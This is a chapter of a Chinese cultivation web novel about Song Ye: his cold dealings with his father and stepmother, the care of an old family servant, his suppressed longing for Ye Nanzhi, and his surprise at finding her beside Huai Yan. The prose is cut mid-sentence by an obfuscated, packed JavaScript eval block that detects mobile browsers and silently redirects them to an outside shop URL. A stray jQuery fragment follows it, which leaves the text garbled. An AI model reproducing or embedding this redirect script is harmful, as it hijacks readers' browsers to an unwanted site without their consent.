宋也掌心用力,按下宋少真手臂,连余光都未再多给宋夫人半分,径直从她身侧擦过。
衣摆带起的风都淡得几乎没有,仿佛她只是庭院里一截无关紧要的枯木。
宋夫人尖叫着抓起手边的青瓷茶盏砸过去,瓷片炸裂在宋也脚边,他却连脚步都未顿一下。
宋夫人目眦欲裂,他眼里究竟还有没有自己这个主母!一个野种,一个野种!
宋少真僵立在原地,看着宋也平稳的背影消失在书房门后,然后难过地看着疯狂的母亲,他没有办法不心疼母亲,但她真的做错了,宋少真待不下去了,对宋夫人留下最后一句话:“大哥从没有想过对你动手,母亲,你适可而止吧。”
说完,也转身走了。
宋也走进宋琏的书房。
书房金碧辉煌,到处摆着价值千金的奇珍异宝,就连他桌上的茶宠都要足足五万灵石,只因为有人告诉他这个茶宠可以镇邪祟,而文房四宝,书房真正的主人,只在那张大得夸张的书桌上出现。
宋琏正在书桌前练着字,写着,家和万事兴。
他的字乍一眼看十分唬人,锋芒毕露,但细看,就能发现其中的虚浮,燥有余而沉不足。
宋也没有理会他的暗示,开门见山道:“你的好夫人派人将我重伤,扔在了孚浇秘境。”
此前在孚浇秘境的时候,他只是猜测,但现在……已经显而易见了。
宋也当然清楚,宋琏对此事绝不可能是全然不知。
宋夫人对他做的那些事,从来没有在宋琏面前掩盖过,宋琏未必想要他死,但也一定想借此机会好好教训宋也这个不听话的儿子一番。
毕竟他只是宋琏一个见不得光的私生子,允许宋也活着,已经是恩赐了。
所以宋也十岁的时候才回到宋家,当时宋琏对他也并不关心,只当一个小玩意儿给口饭吃。
直到宋也自己悄悄去大庸学宫求师,又成为了大庸学宫第一弟子,宋琏的态度才开始转变。
那时宋琏是想过和这个儿子修复关系的,奈何宋也这人软硬不吃,直到现在都不给他好脸色看,外人都嘲笑宋琏有这么个出息的儿子却不被儿子认,这让他更加恼羞成怒。
所以,听到宋也揭发宋夫人的迫害,宋琏也只是轻描淡写的一句:“为父会禁足她半年,算是惩罚,也是给你的交代”
宋也不置可否,也不知道是对这所谓的交代满意与否。
他只是淡漠地点了点头。
见宋也转身便要离开,宋琏连忙起身,伪作慈色,仿佛真是个舐犊情深的好父亲:“你伤势未愈,何不在家中多调养些时日?”
他忘了,宋也就是重伤回宋家修养,才被宋夫人钻了空子。
宋也淡道:“我回大庸学宫。”
见他并不领情,宋琏急了,将金色的狼毫狠狠一摔,“家和万事兴”瞬间被墨点污染。
宋琏拍案怒喝:“你眼里还有没有这个家,有没有我这个父亲!”
宋也正要跨出门槛的脚微微一顿,却并未转身,只是侧过脸,用一种近乎怜悯的疑惑瞥了宋琏一眼,有些疑惑他怎么会问出这个问题。
宋琏被这眼神看得底气全无,那点家主威风瞬间泄了,他颓然坐下,从桌下摸出个沉甸甸的木盒,起身快步塞进宋也手里。
“这是八转玉髓丹,能治好你的暗伤,还能提纯灵力。只要此事你不再声张,更不要让大庸学宫的宫主知晓。”
到底还是怕宋也师尊那个护犊子的知道,找自己麻烦。
宋也看着手里的盒子,还真是下了血本了:“宋宗主和夫人伉俪情深,宋也领教了。”
他收下了盒子,朝着门口大步流星而去,仿佛没有听见身后书卷、砚台、茶壶被狠狠扫落到地上的声音。
这夫妻俩,还真是一个样子。
走出书房,宋也径直往外走,却被一个老叟拦住,老人看着他,一脸欲言又止的担忧。
宋也停下脚步:“陈叔,有什么事吗?”
陈叔看着宋也苍白的脸色,心疼得直皱眉。明眼人都看得出来,宋也此刻虚弱得很,可他那位好父亲不见半分关切,只顾着在书房里摆威风。
陈叔叹道:“听说你回来了,又直接进了宗主的屋子,我就猜到你们父子准没说上几句好话。我不放心,急着过来想劝劝,路上碰见二少爷,才知道你受了重伤。这不,我从库房里拿了点草药,想着让你将养得快些。”
宋也瞟了一眼陈叔手上的药材,冷道:“陈叔,这都是宋家库房的东西,没有宋琏的同意,拿了,会被施以鞭刑。”
“哎哟,大少爷这是哪里话!”陈叔连忙摆手,把药往前送了送,“您是宋家的少爷,用点自家东西怎么能叫偷?再说了,我在宋家熬了几十年,那老东西就算发现了,多少也得卖我这张老脸几分薄面。”
宋也没有接受:“拿回去吧,我不需要。”
陈叔并不意外他的拒绝,他知道,宋也不想受宋家的恩情,可心疼是藏不住的,他总想再试一试。
他叹着气,又从身后拿出来一个食盒递给宋也:“灵草你不要,这口吃的你总得收下。”
打开食盒,热气混着米香扑面而来:“这是我和你陈婶连夜蒸的糕点,你小时候最馋这一口。好不容易回趟家,带上些再走吧。”
宋也十岁回府,生母去世后,他更是食不果腹,瘦弱得风都能刮跑。是陈叔和陈婶,常在灶房偷偷塞给他半个馒头。直到去了大庸学宫,能一日三餐吃饱饭,他才像春天的禾苗般迅速抽条。
他看着莲花糕,目光终于柔和一分,没有再拒绝:“多谢陈叔。”
陈叔欣慰地笑了,看着他的身影消失在宋家的大门外,深深地叹了口气,摇了摇头,离开了。
宋也并未立刻回到大庸学宫,而是拐进了学宫脚下那片熙攘的街市。
大庸学宫虽隐于深山,但“育人无常庸”的名头太响,引得无数凡人拖家带口在山下聚居,久而久之,竟把山脚盘活成了这般繁华光景。
宋也走进熙攘的街市,他走过一个个铺子,出手阔绰。
云锦毯、丝绒枕、一套胎薄如纸的茶具……件件奢华,远胜昔日洞中之物。
他并非贪图享乐之人,因此这些精致有余实用不强的东西,他从不曾准备过。
但……宋也又想到了在石洞的日子,叶南枝枕着他准备的枕头,盖着他准备的毯子……
他垂眸,继续花钱如流水。
买完东西,宋也轻车熟路地走进街尾一处小院子前,推开斑驳木门,身影没入其中。
院子不大,却拾掇得纤尘不染,显是常有人打理。
这里是宋也的私宅,每当想独处的时候,就会来这里,连师尊都不知道他还有这个院子。
这里离大庸学宫并不远,很方便。
他坐在空荡荡的院中,将今日采买之物一件件取出,铺陈开来。不过须臾,半个院子便被这些奢华的物件填满。至于为何买下它们,他也说不清……他不会用这些的……
它们在朴素的小院里显得如此扎眼,像是误落凡尘的仙家之物,无论放在哪个角落,都在无声地宣告着不属于这里。
宋也垂眸,自嘲地牵了牵嘴角,终究还是一件件将它们收起来,仿佛收回了一场不该有的妄念。
他打开陈叔给的餐盒,一言不发
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17755495|209193||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
地吃完,将餐具打理干净放在膳房,然后回到了卧室,躺在床上。
于院子而言,宋也不过是离开十几日。
可于宋也而言,上次来院子已经是一年前了。
他在床上辗转反侧,总觉得少了些什么。
下床,支起窗子,又重新躺下,他看着窗外的月亮——
和石窗外的月亮没有什么两样。
逃无可逃的,他又想到了叶南枝,想到他们朝夕相处的一年。
宋也烦躁地闭上眼睛,可那人的影子在脑海中越发鲜活。这几日,他看见月亮,会想起那个饮酒赏月的夜晚,吃清蒸鱼,会想起她最爱撒上一把葱花的味道,就连整理衣襟时,指腹都会错觉一热,仿佛还能触到她塞入药瓶时,那轻佻又温热的触感。
思念并不会因为他的逃避而消失,宋也终是睁开了眼,眸底尽是无可奈何的绝望。
月色下,宋也从怀中拿出一个香囊,小心翼翼地打开。
内藏断发一缕。
若是叶南枝在此处,便会认出,这是她救渊墨那日,被他剑气斩下的头发。
宋也轻轻摩挲这缕乌发,眉眼间沉郁如潭,足以将人溺毙。唯有世上最具耐心之人,方能从他深不见底的眼底,窥见一丝被重重锁链禁锢的不舍。
不行。
宋也告诉自己,不行。
他告诉自己,不过一年光阴,于寿元漫长的修士而言,不过弹指一瞬,哪怕他们曾看似和睦地朝夕相对,也证明不了什么,更改变不了什么。
他们都会回到自己的位置。
很快叶南枝就会忘记他的。
而这也是他希望的。
是他希望的。
他的位置现在还不够高,还不够干净,他承受不了她向下看来的目光。
这一夜,月亮和往日一样。
但又有什么东西和往日不同了。
有人无法克制地从桌上拿走了一本不属于自己的书,还回来时小心翼翼地放在原处,骗别人,也骗自己,这东西从来没有动过,但时光的灰尘早已不知不觉落满整张桌子,被书掩盖,夹杂在书和桌子之间,旁人看不见这些落灰,但它们并不会因为看不见而不存在。
又过了几日。
伤势痊愈,宋也如期返回大庸学宫。
刚跨进宫门,熟稔的问候便如潮水般涌来,每一位路过的弟子都停下脚步,恭敬又热切地高喊:“大师兄!”
“大师兄你回来啦!”
“大师兄你终于回来啦,我们都可想你了。”
宋也神色平和,对这些热情的招呼一一回以点头,从新佩的乾坤袋里取出各类法器、丹药,动作娴熟地分发给围上来的师弟师妹。
弟子们也不客气,一哄而上拿了东西,然后嘴甜地对着他一声声道谢。
显然宋也常做此事。
宋也未回私院,径直往师尊澜程的居所而去。
他推开熟悉的院门,庭院依旧,竹影婆娑,日光碎金,布局清雅如昨。
可这方熟悉的天地间,却立着一个人,让宋也猝不及防,顿在原地。
院中桃花开得正盛,叶南枝静静站着。
她仰头,看着盛开的桃花,美得宛如一幅画。
刹那间,万物褪色,宋也目中唯余一人。
她怎么会在这里……
前日梦中的眉眼,今日竟就这样活生生撞进他眼里,他指尖狠狠抵住掌心,企图让自己从梦中醒来。
然而下一瞬,周身的热血骤然冷却。
一只指骨分明的手,替叶南枝轻轻拂去了肩上的桃花。
宋也顺着那双手望去,是怀砚。